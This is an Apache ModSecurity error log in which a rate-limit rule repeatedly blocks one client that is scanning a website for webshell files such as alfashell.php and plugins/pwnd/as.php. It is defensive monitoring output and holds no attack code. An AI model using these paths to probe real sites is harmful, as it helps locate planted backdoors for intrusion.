[Sat Apr 25 22:18:30.307534 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:55488] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aezNNvg-28TY8_YLtUdQewAAARg"]
[Sat Apr 25 22:18:31.442748 2026] [:error] [pid 59898:tid 59959] [client 20.215.66.169:64833] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aezNNx-4vImxb0kbdze2BQAAAMU"]
[Sat Apr 25 22:18:32.183011 2026] [:error] [pid 59897:tid 59934] [client 20.215.66.169:52972] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aezNOPBrrkdzpEbmK4eR1gAAAIc"]
[Sat Apr 25 22:18:33.198954 2026] [:error] [pid 59896:tid 59919] [client 20.215.66.169:52992] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aezNObLLzhtkd-OXUgAJPAAAAFM"]
[Sat Apr 25 22:18:34.094015 2026] [:error] [pid 59985:tid 60008] [client 20.215.66.169:42647] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aezNOgF_zDvEhKvyTH7BowAAABU"]
[Sat Apr 25 22:18:34.904205 2026] [:error] [pid 59898:tid 59972] [client 20.215.66.169:43641] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aezNOh-4vImxb0kbdze2BwAAANI"]
[Sat Apr 25 22:18:35.965436 2026] [:error] [pid 3212:tid 3225] [client 20.215.66.169:43636] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aezNO_g-28TY8_YLtUdQhAAAAQs"]
[Sat Apr 25 22:18:36.662944 2026] [:error] [pid 59898:tid 59965] [client 20.215.66.169:27169] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aezNPB-4vImxb0kbdze2CQAAAMs"]
[Sat Apr 25 22:18:37.415623 2026] [:error] [pid 59898:tid 59960] [client 20.215.66.169:43626] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aezNPR-4vImxb0kbdze2DAAAAMY"]
[Sat Apr 25 22:18:38.068296 2026] [:error] [pid 3212:tid 3216] [client 20.215.66.169:26276] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aezNPvg-28TY8_YLtUdQiwAAAQI"]
[Sat Apr 25 22:18:38.925718 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:43644] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aezNPvg-28TY8_YLtUdQjgAAAQg"]
[Sat Apr 25 22:18:40.692542 2026] [:error] [pid 59898:tid 59964] [client 20.215.66.169:52880] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aezNQB-4vImxb0kbdze2DQAAAMo"]
[Sat Apr 25 22:18:43.209710 2026] [:error] [pid 3212:tid 3234] [client 20.215.66.169:53044] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aezNQ_g-28TY8_YLtUdQogAAARQ"]
[Sat Apr 25 22:18:44.397603 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:43585] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aezNRPg-28TY8_YLtUdQqwAAAQg"]
[Sat Apr 25 22:18:45.072033 2026] [:error] [pid 59898:tid 59963] [client 20.215.66.169:55543] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aezNRR-4vImxb0kbdze2FAAAAMk"]
[Sat Apr 25 22:18:45.864223 2026] [:error] [pid 59896:tid 59903] [client 20.215.66.169:55495] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aezNRbLLzhtkd-OXUgAJeAAAAEM"]
[Sat Apr 25 22:18:47.089104 2026] [:error] [pid 59985:tid 59997] [client 20.215.66.169:44912] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aezNRwF_zDvEhKvyTH7BqgAAAAo"]
[Sat Apr 25 22:18:47.674968 2026] [:error] [pid 3212:tid 3237] [client 20.215.66.169:42158] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aezNR_g-28TY8_YLtUdQtQAAARc"]
[Sat Apr 25 22:18:48.264408 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:52978] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aezNSPg-28TY8_YLtUdQtwAAAQg"]
[Sat Apr 25 22:18:49.044709 2026] [:error] [pid 3212:tid 3224] [client 20.215.66.169:52911] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aezNSfg-28TY8_YLtUdQvgAAAQo"]
[Sat Apr 25 22:18:49.716028 2026] [:error] [pid 59985:tid 60002] [client 20.215.66.169:45253] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aezNSQF_zDvEhKvyTH7BrQAAAA8"]
[Sat Apr 25 22:18:50.951736 2026] [:error] [pid 59985:tid 60003] [client 20.215.66.169:53012] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aezNSgF_zDvEhKvyTH7BrwAAABA"]
[Sat Apr 25 22:18:51.677512 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:26282] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aezNS_g-28TY8_YLtUdQ0AAAARI"]
[Sat Apr 25 22:18:52.588647 2026] [:error] [pid 3212:tid 3238] [client 20.215.66.169:42132] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aezNTPg-28TY8_YLtUdQ0wAAARg"]
[Sat Apr 25 22:18:54.216052 2026] [:error] [pid 59985:tid 60009] [client 20.215.66.169:52884] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aezNTgF_zDvEhKvyTH7BuwAAABY"]
[Sat Apr 25 22:18:56.449512 2026] [:error] [pid 59896:tid 59911] [client 20.215.66.169:55502] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aezNULLLzhtkd-OXUgAJhwAAAEs"]
[Sat Apr 25 22:18:58.740453 2026] [:error] [pid 59897:tid 59949] [client 20.215.66.169:64875] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aezNUvBrrkdzpEbmK4eR3QAAAJY"]
[Sat Apr 25 22:19:00.702246 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:42133] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aezNVPg-28TY8_YLtUdQ4gAAARA"]
[Sat Apr 25 22:19:02.052302 2026] [:error] [pid 3212:tid 3214] [client 20.215.66.169:42128] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aezNVvg-28TY8_YLtUdQ6AAAAQA"]
[Sat Apr 25 22:19:02.982917 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:27149] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aezNVvg-28TY8_YLtUdQ6gAAAQw"]
[Sat Apr 25 22:19:03.696953 2026] [:error] [pid 3212:tid 3227] [client 20.215.66.169:43612] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aezNV_g-28TY8_YLtUdQ6wAAAQ0"]
[Sat Apr 25 22:19:04.334053 2026] [:error] [pid 3212:tid 3231] [client 20.215.66.169:52935] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aezNWPg-28TY8_YLtUdQ7gAAARE"]
[Sat Apr 25 22:19:05.059699 2026] [:error] [pid 3212:tid 3230] [client 20.215.66.169:52926] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aezNWfg-28TY8_YLtUdQ8AAAARA"]
[Sat Apr 25 22:19:05.723592 2026] [:error] [pid 59896:tid 59923] [client 20.215.66.169:53028] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aezNWbLLzhtkd-OXUgAJlgAAAFc"]
[Sat Apr 25 22:19:06.415346 2026] [:error] [pid 59896:tid 59914] [client 20.215.66.169:27172] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aezNWrLLzhtkd-OXUgAJmQAAAE4"]
[Sat Apr 25 22:19:07.099682 2026] [:error] [pid 59896:tid 59921] [client 20.215.66.169:55551] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aezNW7LLzhtkd-OXUgAJmgAAAFU"]
[Sat Apr 25 22:19:08.150914 2026] [:error] [pid 59897:tid 59949] [client 20.215.66.169:55540] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aezNXPBrrkdzpEbmK4eR5wAAAJY"]
[Sat Apr 25 22:19:08.883726 2026] [:error] [pid 59985:tid 59997] [client 20.215.66.169:42138] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aezNXAF_zDvEhKvyTH7BzAAAAAo"]
[Sat Apr 25 22:19:09.482778 2026] [:error] [pid 59896:tid 59916] [client 20.215.66.169:42169] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aezNXbLLzhtkd-OXUgAJnQAAAFA"]
[Sat Apr 25 22:19:10.140081 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:52877] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aezNXvg-28TY8_YLtUdQ8gAAAQw"]
[Sat Apr 25 22:19:10.845222 2026] [:error] [pid 59985:tid 60001] [client 20.215.66.169:42154] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aezNXgF_zDvEhKvyTH7BzgAAAA4"]
[Sat Apr 25 22:19:11.486966 2026] [:error] [pid 59985:tid 60003] [client 20.215.66.169:64867] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aezNXwF_zDvEhKvyTH7B0QAAABA"]
[Sat Apr 25 22:19:12.074403 2026] [:error] [pid 3212:tid 3225] [client 20.215.66.169:53018] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aezNYPg-28TY8_YLtUdQ8wAAAQs"]
[Sat Apr 25 22:19:12.719351 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:55492] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aezNYLLLzhtkd-OXUgAJoAAAAEo"]
[Sat Apr 25 22:19:13.337040 2026] [:error] [pid 59897:tid 59928] [client 20.215.66.169:28624] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aezNYfBrrkdzpEbmK4eR6AAAAIE"]
[Sat Apr 25 22:19:14.014550 2026] [:error] [pid 3212:tid 3228] [client 20.215.66.169:53016] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aezNYvg-28TY8_YLtUdQ9gAAAQ4"]
[Sat Apr 25 22:19:14.761900 2026] [:error] [pid 3212:tid 3219] [client 20.215.66.169:42127] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aezNYvg-28TY8_YLtUdQ-QAAAQU"]
[Sat Apr 25 22:19:15.287629 2026] [:error] [pid 59896:tid 59901] [client 20.215.66.169:27174] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aezNY7LLzhtkd-OXUgAJowAAAEE"]
[Sat Apr 25 22:19:16.071599 2026] [:error] [pid 59898:tid 59968] [client 20.215.66.169:55531] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aezNZB-4vImxb0kbdze2SwAAAM4"]
[Sat Apr 25 22:19:16.643200 2026] [:error] [pid 59897:tid 59942] [client 20.215.66.169:52950] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aezNZPBrrkdzpEbmK4eR6QAAAI8"]
[Sat Apr 25 22:19:17.253087 2026] [:error] [pid 59896:tid 59923] [client 20.215.66.169:64895] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aezNZbLLzhtkd-OXUgAJpwAAAFc"]
[Sat Apr 25 22:19:17.842270 2026] [:error] [pid 59897:tid 59938] [client 20.215.66.169:44916] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aezNZfBrrkdzpEbmK4eR6wAAAIs"]
[Sat Apr 25 22:19:18.395956 2026] [:error] [pid 3212:tid 3214] [client 20.215.66.169:26240] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aezNZvg-28TY8_YLtUdQ_wAAAQA"]
[Sat Apr 25 22:19:19.061948 2026] [:error] [pid 59896:tid 59915] [client 20.215.66.169:64894] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aezNZ7LLzhtkd-OXUgAJqwAAAE8"]
[Sat Apr 25 22:19:19.690118 2026] [:error] [pid 59897:tid 59951] [client 20.215.66.169:26246] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aezNZ_BrrkdzpEbmK4eR7gAAAJg"]
[Sat Apr 25 22:19:20.496344 2026] [:error] [pid 59896:tid 59910] [client 20.215.66.169:52901] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aezNaLLLzhtkd-OXUgAJrwAAAEo"]
